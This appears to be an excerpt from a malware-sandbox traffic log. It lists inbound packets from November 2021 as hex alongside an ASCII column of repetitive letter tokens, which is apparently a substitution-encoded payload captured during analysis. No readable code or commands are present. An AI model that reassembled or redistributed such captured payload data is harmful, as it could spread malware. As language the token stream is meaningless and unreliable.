2021-11-09 21:21:48 UTC	214	IN	Data Raw: 20 4b 6f 20 52 6f 20 4b 20 6b 45 20 52 6b 20 51 4f 20 6b 59 20 6f 4f 20 78 20 74 20 4f 6f 20 51 20 4f 6f 45 20 51 4b 20 51 4f 20 52 52 20 78 20 4f 4f 20 59 20 6b 20 45 59 20 51 4f 20 74 4b 20 6b 74 20 4f 4f 20 4f 78 6f 20 74 4b 20 52 59 20 51 45 20 4f 4f 6f 20 4f 78 51 20 4f 4f 4f 20 51 74 20 52 52 20 59 45 20 52 20 6f 6b 20 4f 4b 20 4b 51 20 52 4b 20 52 52 20 6b 45 20 74 51 20 6f 51 20 6f 6b 20 6f 6b 20 6f 59 20 45 52 20 74 59 20 52 4b 20 6b 74 20 4f 78 4f 20 52 4f 20 6b 20 4f 52 20 6b 78 20 52 6b 20 6f 20 4b 6b 20 59 20 4f 20 6f 4f 20 74 59 20 52 74 20 6b 59 20 52 74 20 4f 4f 52 20 4f 4f 45 20 4f 4f 52 20 4b 20 4f 74 20 4b 51 20 74 52 20 4b 78 20 59 4f 20 4f 20 4f 4f 52 20 4f 4f 59 20 4f 4f 52 20 6f 45 20 52 52 20 74 52 20 4b 4f 20 52 74 20 4f 20 4f 4f Data Ascii: Ko Ro K kE Rk QO kY oO x t Oo Q OoE QK QO RR x OO Y k EY QO tK kt OO Oxo tK RY QE OOo OxQ OOO Qt RR YE R ok OK KQ RK RR kE tQ oQ ok ok oY ER tY RK kt OxO RO k OR kx Rk o Kk Y O oO tY Rt kY Rt OOR OOE OOR K Ot KQ tR Kx YO O OOR OOY OOR oE RR tR KO Rt O OO
2021-11-09 21:21:48 UTC	224	IN	Data Raw: 6b 4f 20 74 6b 20 4f 4f 20 4f 4f 4f 20 4f 78 51 20 52 20 4f 4f 20 52 6b 20 4f 4f 74 20 6b 4f 20 45 59 20 6f 6f 74 20 4f 74 74 20 6f 6f 52 20 4f 45 4b 20 59 6b 20 74 52 20 6f 45 20 59 78 20 4b 74 20 6f 20 4f 4f 4f 20 4b 20 59 4b 20 59 4f 20 6f 45 20 4f 20 59 78 20 59 74 20 6b 52 20 52 20 59 78 20 52 51 20 4b 51 20 52 20 4b 6f 20 45 52 20 6f 78 20 4b 20 4b 6b 20 4f 4f 51 20 6b 6b 20 45 6f 20 6f 74 20 4f 20 6f 78 20 74 78 20 59 78 20 4f 6f 4f 20 6b 52 20 74 20 51 51 20 4f 4f 4b 20 4b 6b 20 45 20 4b 20 51 4f 20 52 6b 20 74 59 20 74 20 51 51 20 4f 4f 4b 20 59 4f 20 4b 74 20 74 4f 20 59 20 4f 4f 45 20 4f 4f 59 20 4f 4b 20 6f 45 20 59 4b 20 59 6f 20 4b 45 20 52 6b 20 4f 4f 6b 20 6f 20 45 20 4f 59 20 4f 78 6f 20 52 6b 20 74 52 20 51 4f 20 52 74 20 74 20 78 20 4f Data Ascii: kO tk OO OOO OxQ R OO Rk OOt kO EY oot Ott ooR OEK Yk tR oE Yx Kt o OOO K YK YO oE O Yx Yt kR R Yx RQ KQ R Ko ER ox K Kk OOQ kk Eo ot O ox tx Yx OoO kR t QQ OOK Kk E K QO Rk tY t QQ OOK YO Kt tO Y OOE OOY OK oE YK Yo KE Rk OOk o E OY Oxo Rk tR QO Rt t x O
2021-11-09 21:21:48 UTC	230	IN	Data Raw: 20 4f 4f 45 20 78 20 6f 4f 20 74 78 20 52 74 20 4b 78 20 52 51 20 4f 4f 45 20 45 20 4f 4f 45 20 4f 4f 59 20 51 74 20 52 59 20 4b 6b 20 51 45 20 4b 51 20 4f 4f 51 20 52 20 4f 4f 6f 20 4f 4f 51 20 4f 74 20 59 59 20 52 52 20 51 78 20 52 6b 20 4b 20 4f 4f 52 20 59 78 20 6b 59 20 59 4b 20 59 4f 20 59 6f 20 4b 4f 20 4f 4f 6f 20 4b 20 45 20 74 20 59 20 6f 6f 20 52 6b 20 74 74 20 6b 59 20 59 78 20 4f 4f 20 51 20 4f 4f 59 20 59 20 51 74 20 74 78 20 74 78 20 6b 4b 20 52 74 20 78 20 4f 4f 45 20 4f 4f 59 20 74 20 4f 78 6f 20 52 51 20 4b 51 20 4b 4b 20 4b 51 20 6f 20 4f 4f 74 20 52 20 4f 4b 20 4f 6b 20 4b 6b 20 59 4b 20 51 4f 20 52 6b 20 4b 20 4f 4f 4b 20 4f 4f 6f 20 4f 4f 4b 20 6b 4b 20 4b 6b 20 52 4b 20 4b 74 20 52 6b 20 4f 4f 52 20 4f 4f 45 20 78 20 59 20 51 6b 20 Data Ascii: OOE x oO tx Rt Kx RQ OOE E OOE OOY Qt RY Kk QE KQ OOQ R OOo OOQ Ot YY RR Qx Rk K OOR Yx kY YK YO Yo KO OOo K E t Y oo Rk tt kY Yx OO Q OOY Y Qt tx tx kK Rt x OOE OOY t Oxo RQ KQ KK KQ o OOt R OK Ok Kk YK QO Rk K OOK OOo OOK kK Kk RK Kt Rk OOR OOE x Y Qk
2021-11-09 21:21:48 UTC	246	IN	Data Raw: 6b 4f 20 6b 4f 20 74 78 20 6b 45 20 52 20 6f 45 20 6f 6f 20 4b 20 78 20 51 4f 20 6b 59 20 51 6f 20 52 52 20 6f 45 20 45 78 20 6f 6b 20 6b 20 45 78 20 74 78 20 4f 4f 59 20 52 4b 20 6b 45 20 4b 6b 20 6f 45 20 6f 74 20 6f 59 20 6f 59 20 6b 45 20 51 6f 20 59 78 20 6b 59 20 59 4b 20 52 6f 20 6f 78 20 4f 59 20 6f 4f 20 51 4b 20 4b 6b 20 52 52 20 6b 4b 20 6f 4b 20 4f 51 20 6f 45 20 6b 20 6f 6b 20 59 78 20 51 51 20 74 59 20 52 51 20 45 6f 20 6f 45 20 6f 4b 20 52 74 20 45 59 20 6b 74 20 52 52 20 52 6b 20 51 59 20 59 59 20 6f 45 20 59 52 20 6f 20 6f 78 20 6b 74 20 51 6f 20 59 78 20 4f 4f 74 20 45 6b 20 6f 45 20 6f 78 20 6f 59 20 6f 4f 20 4f 4f 45 20 6b 6b 20 6b 45 20 6b 6b 20 59 6b 20 6f 45 20 6f 59 20 4f 78 51 20 59 74 20 4f 4f 45 20 51 6f 20 51 4f 20 6b 45 20 59 Data Ascii: kO kO tx kE R oE oo K x QO kY Qo RR oE Ex ok k Ex tx OOY RK kE Kk oE ot oY oY kE Qo Yx kY YK Ro ox OY oO QK Kk RR kK oK OQ oE k ok Yx QQ tY RQ Eo oE oK Rt EY kt RR Rk QY YY oE YR o ox kt Qo Yx OOt Ek oE ox oY oO OOE kk kE kk Yk oE oY OxQ Yt OOE Qo QO kE Y
2021-11-09 21:21:48 UTC	256	IN	Data Raw: 74 20 6b 51 20 59 6b 20 52 20 6f 51 20 45 78 20 4f 4f 6f 20 74 78 20 6b 6b 20 51 4f 20 52 51 20 6b 4b 20 6f 4f 20 4f 52 20 6f 59 20 4b 74 20 4f 78 6f 20 6b 51 20 6b 4f 20 51 45 20 45 51 20 4f 4f 4b 20 6f 59 20 4b 20 45 78 20 6b 51 20 52 74 20 59 78 20 52 6b 20 4b 51 20 45 4f 20 6f 52 20 6f 59 20 6f 4f 20 4f 78 6f 20 6b 4f 20 52 59 20 51 45 20 45 51 20 4f 4f 4b 20 45 45 20 45 4f 20 51 20 4f 4f 74 20 6b 59 20 74 78 20 51 6b 20 59 45 20 4f 20 45 78 20 45 78 20 4f 4f 6f 20 74 78 20 6b 4f 20 52 59 20 51 45 20 45 51 20 4f 4f 4b 20 59 74 20 6f 20 4f 51 20 6b 45 20 51 6f 20 52 59 20 59 4b 20 59 4f 20 6f 45 20 4f 20 59 78 20 59 4f 20 52 4b 20 6b 59 20 6b 52 20 6b 45 20 59 6b 20 52 20 6f 6b 20 4f 6f 20 6f 6b 20 52 59 20 4b 6b 20 51 74 20 6b 59 20 59 45 20 6f 6b 20 Data Ascii: t kQ Yk R oQ Ex OOo tx kk QO RQ kK oO OR oY Kt Oxo kQ kO QE EQ OOK oY K Ex kQ Rt Yx Rk KQ EO oR oY oO Oxo kO RY QE EQ OOK EE EO Q OOt kY tx Qk YE O Ex Ex OOo tx kO RY QE EQ OOK Yt o OQ kE Qo RY YK YO oE O Yx YO RK kY kR kE Yk R ok Oo ok RY Kk Qt kY YE ok
2021-11-09 21:21:48 UTC	272	IN	Data Raw: 78 6f 20 6b 4b 20 59 6f 20 4f 4f 74 20 4b 20 4f 4f 6f 20 51 4b 20 4b 6b 20 6b 74 20 59 4b 20 4f 6f 6f 20 4f 4f 4b 20 45 4b 20 4f 78 51 20 6f 20 59 78 20 6b 51 20 59 78 20 52 52 20 6b 4b 20 6f 45 20 4f 4f 74 20 52 45 20 4f 4f 6f 20 4f 6f 59 20 4b 6b 20 4f 4f 52 20 59 4b 20 6f 51 20 4f 4f 4b 20 59 74 20 4f 78 51 20 59 45 20 59 78 20 6f 4f 20 59 78 20 4f 78 52 20 6b 4b 20 59 4f 20 4f 4f 74 20 6f 51 20 4f 4f 6f 20 52 52 20 4b 6b 20 4f 4f 52 20 59 4b 20 52 4f 20 4f 4f 4b 20 6f 59 20 4f 78 51 20 6f 4f 20 59 78 20 45 78 20 59 78 20 51 74 20 6b 4b 20 78 20 4f 4f 74 20 4b 20 4f 4f 6f 20 74 78 20 4b 6b 20 6b 74 20 59 4b 20 4f 52 20 4f 4f 4b 20 6f 78 20 4f 78 51 20 4b 20 59 78 20 6b 4f 20 59 78 20 4f 78 52 20 6b 4b 20 45 6f 20 4f 4f 74 20 6f 20 4f 4f 6f 20 6b 45 20 Data Ascii: xo kK Yo OOt K OOo QK Kk kt YK Ooo OOK EK OxQ o Yx kQ Yx RR kK oE OOt RE OOo OoY Kk OOR YK oQ OOK Yt OxQ YE Yx oO Yx OxR kK YO OOt oQ OOo RR Kk OOR YK RO OOK oY OxQ oO Yx Ex Yx Qt kK x OOt K OOo tx Kk kt YK OR OOK ox OxQ K Yx kO Yx OxR kK Eo OOt o OOo kE
2021-11-09 21:21:48 UTC	288	IN	Data Raw: 59 20 4f 6f 4b 20 51 52 20 4f 6f 74 20 51 45 20 59 4f 20 52 6f 20 45 51 20 45 52 20 4f 6f 4f 20 4f 4f 59 20 4f 6f 45 20 4f 4f 6f 20 4f 6f 52 20 59 6b 20 52 6f 20 4b 6b 20 4b 45 20 74 78 20 6f 4b 6f 20 6f 6f 78 20 4f 6f 78 20 51 74 20 4f 4f 20 4b 51 20 52 78 20 59 52 20 74 78 20 4f 51 20 4f 4f 51 20 4f 78 4f 20 4f 6f 78 20 45 6f 20 4f 74 52 20 4f 59 59 20 59 52 20 6b 4f 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6f 20 4f 6f 52 20 52 78 20 59 4b 20 4f 6b 20 59 4b 20 74 45 20 51 52 20 6f 4b 59 20 4f 51 52 20 4f 4f 74 20 4f 6b 20 4b 51 20 4b 6b 20 45 74 20 6b 4b 20 51 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 4f 20 45 6f 20 6f 51 20 59 4f 20 45 52 20 6f 4f 45 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 78 20 51 6b 20 74 20 4b 51 20 52 78 20 59 52 20 74 45 20 4f 6f 4b 20 4f 6f 45 20 4f Data Ascii: Y OoK QR Oot QE YO Ro EQ ER OoO OOY OoE OOo OoR Yk Ro Kk KE tx oKo oox Oox Qt OO KQ Rx YR tx OQ OOQ OxO Oox Eo OtR OYY YR kO OOK OOR OOo OoR Rx YK Ok YK tE QR oKY OQR OOt Ok KQ Kk Et kK QK OOK OoR OxO Eo oQ YO ER oOE OOK Oot Oox Qk t KQ Rx YR tE OoK OoE O
2021-11-09 21:21:49 UTC	304	IN	Data Raw: 59 74 20 6f 45 20 6f 20 6f 20 6f 20 6b 51 20 6f 6b 20 4f 78 78 20 6b 45 20 45 6b 20 4f 20 6f 6b 20 6f 20 45 78 20 4f 59 20 74 78 20 52 20 6f 4b 20 4f 78 78 20 4f 4f 59 20 4f 4f 74 20 59 74 20 4f 6f 52 20 45 6b 20 4f 4f 6b 20 52 4b 20 6b 74 20 59 74 20 6f 45 20 6f 20 6f 20 6f 20 6b 51 20 4f 4f 52 20 51 4f 20 52 51 20 45 52 20 45 78 20 6f 78 20 6f 78 20 52 6f 20 6b 45 20 51 45 20 6b 74 20 45 6b 20 4f 6f 6f 20 52 78 20 4b 6b 20 59 74 20 6b 78 20 4f 4f 52 20 52 52 20 6b 45 20 51 4f 20 4b 51 20 59 20 6f 52 20 45 4f 20 6f 74 20 4f 6b 20 4b 20 52 4f 20 59 59 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 59 74 20 4f 6f 52 20 59 4b 20 4f 6f 52 20 6b 45 20 51 4f 20 4b 51 20 4f 4f 45 20 52 78 20 51 20 52 59 20 52 4f 20 4b 51 20 59 78 20 59 59 20 6b 4b 20 45 6b 20 4f 6f 45 20 Data Ascii: Yt oE o o o kQ ok Oxx kE Ek O ok o Ex OY tx R oK Oxx OOY OOt Yt OoR Ek OOk RK kt Yt oE o o o kQ OOR QO RQ ER Ex ox ox Ro kE QE kt Ek Ooo Rx Kk Yt kx OOR RR kE QO KQ Y oR EO ot Ok K RO YY kK OOY OOt Yt OoR YK OoR kE QO KQ OOE Rx Q RY RO KQ Yx YY kK Ek OoE
2021-11-09 21:21:49 UTC	320	IN	Data Raw: 4f 4f 20 6b 4b 20 45 74 20 4f 4f 74 20 6f 4f 20 4f 4f 6f 20 52 59 20 4b 6b 20 4f 78 4b 20 59 4b 20 4f 6f 20 4f 4f 4b 20 45 52 20 4f 78 51 20 59 51 20 59 78 20 6b 4f 20 59 78 20 4f 6f 52 20 6b 4b 20 4b 6b 20 4f 4f 74 20 45 20 4f 4f 6f 20 6b 78 20 4b 6b 20 4f 4f 74 20 59 4b 20 4f 4b 20 4f 4f 4b 20 6f 52 20 4f 78 51 20 4b 6f 20 59 78 20 6f 20 59 78 20 4f 78 6b 20 6b 4b 20 74 20 4f 4f 74 20 4f 6f 20 4f 4f 6f 20 4f 4f 74 20 4b 6b 20 4f 6f 78 20 59 4b 20 59 6b 20 4f 4f 4b 20 6f 6f 20 4f 78 51 20 59 59 20 59 78 20 52 4b 20 59 78 20 51 45 20 6b 4b 20 4b 78 20 4f 4f 74 20 59 6b 20 4f 4f 6f 20 74 20 4b 6b 20 52 74 20 59 4b 20 4f 4b 20 4f 4f 4b 20 74 4f 20 4f 78 51 20 52 59 20 59 78 20 51 4f 20 59 78 20 4f 78 6b 20 6b 4b 20 52 4b 20 4f 4f 74 20 6b 4b 20 4f 4f 6f 20 Data Ascii: OO kK Et OOt oO OOo RY Kk OxK YK Oo OOK ER OxQ YQ Yx kO Yx OoR kK Kk OOt E OOo kx Kk OOt YK OK OOK oR OxQ Ko Yx o Yx Oxk kK t OOt Oo OOo OOt Kk Oox YK Yk OOK oo OxQ YY Yx RK Yx QE kK Kx OOt Yk OOo t Kk Rt YK OK OOK tO OxQ RY Yx QO Yx Oxk kK RK OOt kK OOo
2021-11-09 21:21:49 UTC	336	IN	Data Raw: 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 Data Ascii: kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK
2021-11-09 21:21:49 UTC	352	IN	Data Raw: 45 6f 20 59 78 20 78 20 78 20 78 20 4b 78 20 6f 6b 20 78 20 78 20 4f 78 20 78 20 45 6f 20 74 59 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4b 78 20 59 52 20 78 20 78 20 4f 78 20 78 20 45 6f 20 74 52 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 52 20 78 20 6f 59 4b 20 4f 4b 20 6f 6b 20 78 20 6f 59 4b 20 4f 6f 20 6f 6b 20 78 20 59 74 20 52 20 78 20 78 20 78 20 59 52 20 45 51 20 78 20 78 20 78 20 78 20 78 20 45 6f 20 74 51 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 74 20 78 20 45 6f 20 4f 20 78 20 78 20 78 20 6f 4f 4b 20 6f 59 4b 20 4f 4b 20 6f 74 20 78 20 6f 59 4b 20 4f 6f 20 6f 74 20 78 20 45 6f 20 4f 78 20 78 20 78 20 78 20 52 6f 20 4f 6f 59 20 6f 59 59 20 6f 59 59 20 6f 59 59 Data Ascii: Eo Yx x x x Kx ok x x Ox x Eo tY x x x oYK OK o x Kx YR x x Ox x Eo tR x x x oYK OK o x oYK Oo oR x oYK OK ok x oYK Oo ok x Yt R x x x YR EQ x x x x x Eo tQ x x x oYK OK o x oYK Oo ot x Eo O x x x oOK oYK OK ot x oYK Oo ot x Eo Ox x x x Ro OoY oYY oYY oYY
2021-11-09 21:21:49 UTC	368	IN	Data Raw: 78 20 78 20 78 20 6f 59 45 20 51 20 78 20 78 20 45 74 20 4f 78 20 78 20 78 20 4f 59 20 78 20 78 20 78 20 45 20 4f 78 20 78 20 78 20 6f 74 20 4b 6b 20 4f 4f 20 78 20 4f 52 6b 20 45 20 78 20 78 20 4f 59 20 78 20 78 20 4f 74 20 4f 4b 78 20 6f 74 20 78 20 78 20 4f 20 78 20 78 20 4b 78 20 74 20 78 20 78 20 4f 78 20 78 20 45 6f 20 6f 59 4b 20 6f 59 59 20 6f 59 59 20 6f 59 59 20 6f 59 4b 20 4f 4b 20 4f 20 78 20 45 6f 20 6f 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4f 6f 52 20 74 74 20 78 20 78 20 4f 78 20 6f 59 4b 20 51 20 78 20 78 20 45 6f 20 78 20 78 20 78 20 78 20 4f 4f 4f 20 4b 6b 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 4b 20 78 20 45 6f 20 45 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4b 45 20 52 20 6f 59 4b 20 6f 6f 20 6b 45 20 Data Ascii: x x x oYE Q x x Et Ox x x OY x x x E Ox x x ot Kk OO x ORk E x x OY x x Ot OKx ot x x O x x Kx t x x Ox x Eo oYK oYY oYY oYY oYK OK O x Eo o x x x oYK OK E x OoR tt x x Ox oYK Q x x Eo x x x x OOO Kk x x Ox oYK OK K x Eo E x x x oYK OK E x KE R oYK oo kE
2021-11-09 21:21:49 UTC	384	IN	Data Raw: 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 6f 6f 20 45 4f 20 4f 78 59 20 4f 59 74 20 4f 4f 59 20 4f 45 52 20 78 20 78 20 4f 78 20 4b 6f 20 78 20 78 20 4f 51 20 4b 6b 20 4b 20 78 20 6f 20 4f 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 6f 6b 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f Data Ascii: OYt Et Eo x x x x EO OxO OYt Et oo EO OxY OYt OOY OER x x Ox Ko x x OQ Kk K x o O x x E x x Ot ok OKO OOY x x O Et Eo Y x x x EO Yt OYt Et Eo Y x x x EO Qt OYt Et Eo Y x x x EO YY OYt Et Eo Y x x x EO YE OYt Et ot EO Oxo OYt Et Eo K x x x EO Qt OYt Et Eo
2021-11-09 21:21:49 UTC	400	IN	Data Raw: 4f 4f 59 20 4f 74 78 20 78 20 78 20 4f 78 20 4f 6f 6f 20 52 20 4f 6f 52 20 4f 78 6b 20 78 20 78 20 4f 78 20 4b 78 20 4f 4f 52 20 78 20 78 20 4f 78 20 4f 51 20 6f 78 20 4f 74 20 6f 78 20 4b 4b 20 4f 6b 20 78 20 45 20 4b 78 20 51 52 20 78 20 78 20 52 20 4b 78 20 4f 45 20 78 20 78 20 4f 78 20 4f 4f 59 20 4f 74 4f 20 78 20 78 20 4f 78 20 4f 6f 6f 20 52 20 4f 51 20 6f 4f 20 4b 45 20 78 20 4f 74 20 6f 4f 20 4b 6f 20 78 20 78 20 52 59 20 6f 6b 20 78 20 78 20 78 20 78 20 78 20 78 20 74 20 78 20 78 20 78 20 6f 4f 59 20 4f 20 78 20 78 20 6f 6f 6f 20 4f 20 78 20 78 20 4f 45 20 78 20 78 20 78 20 6f 20 78 20 78 20 4f 20 4f 51 20 4b 6b 20 4b 20 78 20 74 52 20 45 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 45 4f 20 6f 78 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 Data Ascii: OOY Otx x x Ox Ooo R OoR Oxk x x Ox Kx OOR x x Ox OQ ox Ot ox KK Ok x E Kx QR x x R Kx OE x x Ox OOY OtO x x Ox Ooo R OQ oO KE x Ot oO Ko x x RY ok x x x x x x t x x x oOY O x x ooo O x x OE x x x o x x O OQ Kk K x tR E x x E x x Ot EO ox OKO OOY x x O Et
2021-11-09 21:21:49 UTC	416	IN	Data Raw: 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 4f 45 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 4f 6f 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 Data Ascii: x x EO Kk OYt Et EO OE EO Oxk OYt Et Eo Oo x x x EO YE OYt Et Eo Oo x x x EO YE OYt Et Eo Oo x x x EO Kk OYt Et Eo Oo x x x EO Yt OYt Et EO Oo EO Qt OYt Et Eo OO x x x EO YK OYt Et Eo OO x x x EO YO OYt Et Eo OO x x x EO YE OYt Et Eo OO x x x EO Oxo OYt E
2021-11-09 21:21:49 UTC	432	IN	Data Raw: 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 4f 20 4f 52 20 45 4f 20 4b 52 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 4f 20 4f 59 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 4b 20 78 20 78 20 78 20 45 4f 20 59 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 4b 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 Data Ascii: x x EO YY OYt Et Eo OR x x x EO Kk OYt Et Eo OR x x x EO YE OYt Et EO OR EO KR OYt Et Eo OY x x x EO Oxx OYt Et Eo OY x x x EO Qt OYt Et Eo OY x x x EO Qk OYt Et Eo OY x x x EO Oxx OYt Et EO OY EO Oxx OYt Et Eo OK x x x EO Yx OYt Et Eo OK x x x EO OxO OY
2021-11-09 21:21:49 UTC	448	IN	Data Raw: 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 6f 4b 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 4f 20 6f 4b 20 45 4f 20 4f 4f 78 20 4f 59 74 20 45 74 20 45 6f 20 6f 45 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 6f 45 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 6f 45 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 4f 20 6f 45 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 6f 6f 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 6f 6f 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 6f 6f 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 4f 20 6f 6f 20 45 4f 20 4f 4f 4b 20 4f 59 74 20 45 Data Ascii: x x x EO Yo OYt Et Eo oK x x x EO Oxx OYt Et EO oK EO OOx OYt Et Eo oE x x x EO Oxo OYt Et Eo oE x x x EO QQ OYt Et Eo oE x x x EO YO OYt Et EO oE EO Qt OYt Et Eo oo x x x EO KQ OYt Et Eo oo x x x EO Oxx OYt Et Eo oo x x x EO OxO OYt Et EO oo EO OOK OYt E
2021-11-09 21:21:49 UTC	463	IN	Data Raw: 4f 59 74 20 45 74 20 45 6f 20 51 59 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 59 20 45 4f 20 4b 52 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 4b 20 45 4f 20 4f 4f 78 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 45 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 45 74 20 45 6f 20 51 6f 20 78 20 78 20 78 20 45 Data Ascii: OYt Et Eo QY x x x EO Qk OYt Et EO QY EO KR OYt Et Eo QK x x x EO YK OYt Et Eo QK x x x EO OxO OYt Et Eo QK x x x EO Qk OYt Et EO QK EO OOx OYt Et Eo QE x x x EO QQ OYt Et Eo QE x x x EO KQ OYt Et Eo QE x x x EO Kk OYt Et EO QE EO OOO OYt Et Eo Qo x x x E
